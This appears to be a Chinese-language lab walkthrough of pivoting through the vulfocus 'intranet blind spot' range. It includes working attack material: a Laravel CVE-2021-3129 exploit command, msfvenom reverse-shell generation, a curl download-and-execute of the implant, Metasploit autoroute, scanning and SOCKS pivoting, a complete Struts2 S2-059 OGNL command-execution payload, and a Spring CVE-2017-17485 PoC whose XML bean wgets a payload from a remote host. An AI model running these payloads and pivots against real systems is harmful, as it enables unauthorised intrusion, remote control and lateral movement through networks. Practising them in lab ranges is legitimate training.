vulfocus 内网死角

靶场很多flag没有了，不要太过在意

内网死角 内网资产分布

直接打开一个 Laravel框架 （Laravel v8.41.0 (PHP v7.4.19)），查询历史漏洞 存在 CVE-2021-3129 远程代码执行

1. laravel-CVE-2021-3129-EXP

github项目地址：https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

一键 getshell （注意url后面不要 /）

python3 laravel-CVE-2021-3129-EXP.py http://127.0.0.1:8000

哥斯拉连接 需要使用3.0一下版本

2. MSF上线 内网渗透

msf生成linux后门

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=xxxx -f elf -o xxxx.elf

配置msf linux/x86/meterpreter/reverse_tcp payload监听

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST xxx
set LPORT xxx
exploit

在受控机器中执行 下载木马程序命令 并执行上线

curl -LO http://vps/xx.elf
chomd +x xx.elf
./xx.elf

查看网络发现多个网卡和IP

192.120.2.83

192.120.4.60

172.18.0.29

10.0.0.166

添加路由

meterpreter > run autoroute  -s 192.120.2.0/24
meterpreter > run autoroute  -s 192.120.4.0/24

内网资产探测

use auxiliary/scanner/portscan/tcp
set rhosts 192.120.4.0/24
set rports 22,23,80,8080,3389,445,6379
set threads 20
run

发现资产：

192.120.4.43:80

192.120.4.46:8080

192.120.4.48:8080

192.120.4.60:80

192.120.2.27:80

192.120.2.30:22

192.120.2.37:6379

192.120.2.63:6379

192.120.2.72:22

192.120.2.83:80

设置代理

use auxiliary/server/socks_proxy
run

Proxifier设置 vpsip 和 socks端口

漏洞检测

使用vulmap对IP进行漏洞扫描 发现192.120.4.46 存在 tomcat CVE-2017-12615 文件上传漏洞

CVE-2017-12615 漏洞利用

ls /tmp 没有flag cat /proc/self/environ flag提交无效

msf上线 4.46

信息收集 发现 还有内网 192.120.1.0

添加路由

端口扫描

扫描结果：

[+] 192.120.1.46: - 192.120.1.46:8080 - TCP OPEN
[+] 192.120.1.49: - 192.120.1.49:8080 - TCP OPEN
[+] 192.120.1.50: - 192.120.1.50:8080 - TCP OPEN
[+] 192.120.1.52: - 192.120.1.52:80 - TCP OPEN
[+] 192.120.1.54: - 192.120.1.54:6379 - TCP OPEN
[*] 192.120.1.0/24: - Scanned 53 of 256 hosts (20% complete)
[+] 192.120.1.69: - 192.120.1.69:6379 - TCP OPEN
[+] 192.120.1.70: - 192.120.1.70:80 - TCP OPEN
[+] 192.120.1.71: - 192.120.1.71:8080 - TCP OPEN

发现192.120.1.50 存在 strtus2 059漏洞

struts2 059漏洞利用

设置burp socks 代理

burp抓包执行msf上线木马

POST /index.action HTTP/1.1
Host: 192.120.1.50:8080
Content-Length: 583
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.120.1.50:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.120.1.50:8080/index.action
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: JSESSIONID=7D1448A2C7A527A56A5F8A870A7C3FF1
Connection: close

skillName=%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('./xx.elf').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d

发现 192.120.3.0/24 内网 再次添加路由

发现 .3.0资产如下：

[+] 192.120.3.51: - 192.120.3.51:8080 - TCP OPEN
[+] 192.120.3.55: - 192.120.3.55:8080 - TCP OPEN
[+] 192.120.3.54: - 192.120.3.54:8080 - TCP OPEN
[+] 192.120.3.57: - 192.120.3.57:8080 - TCP OPEN

发现192.120.3.51:8080 srpingboot

经过尝试发现漏洞为 CVE-2017-17485

https://blog.csdn.net/serendipity1130/article/details/120030386

spel.xml

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="     http://www.springframework.org/schema/beans     http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
            <array>
                <value>wget</value>
                <value>http://xxxx:8080/xx.elf</value>
            </array>
        </constructor-arg>
        <property name="any" value="#{ pb.start() }"/>
    </bean>
</beans>

POC

POST /exploit HTTP/1.1
Host: 192.120.3.51:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 131

{
"param": [
  "org.springframework.context.support.FileSystemXmlApplicationContext",
  "http://xxxx:8080/spel.xml"
]
}

msf上线

没有 flag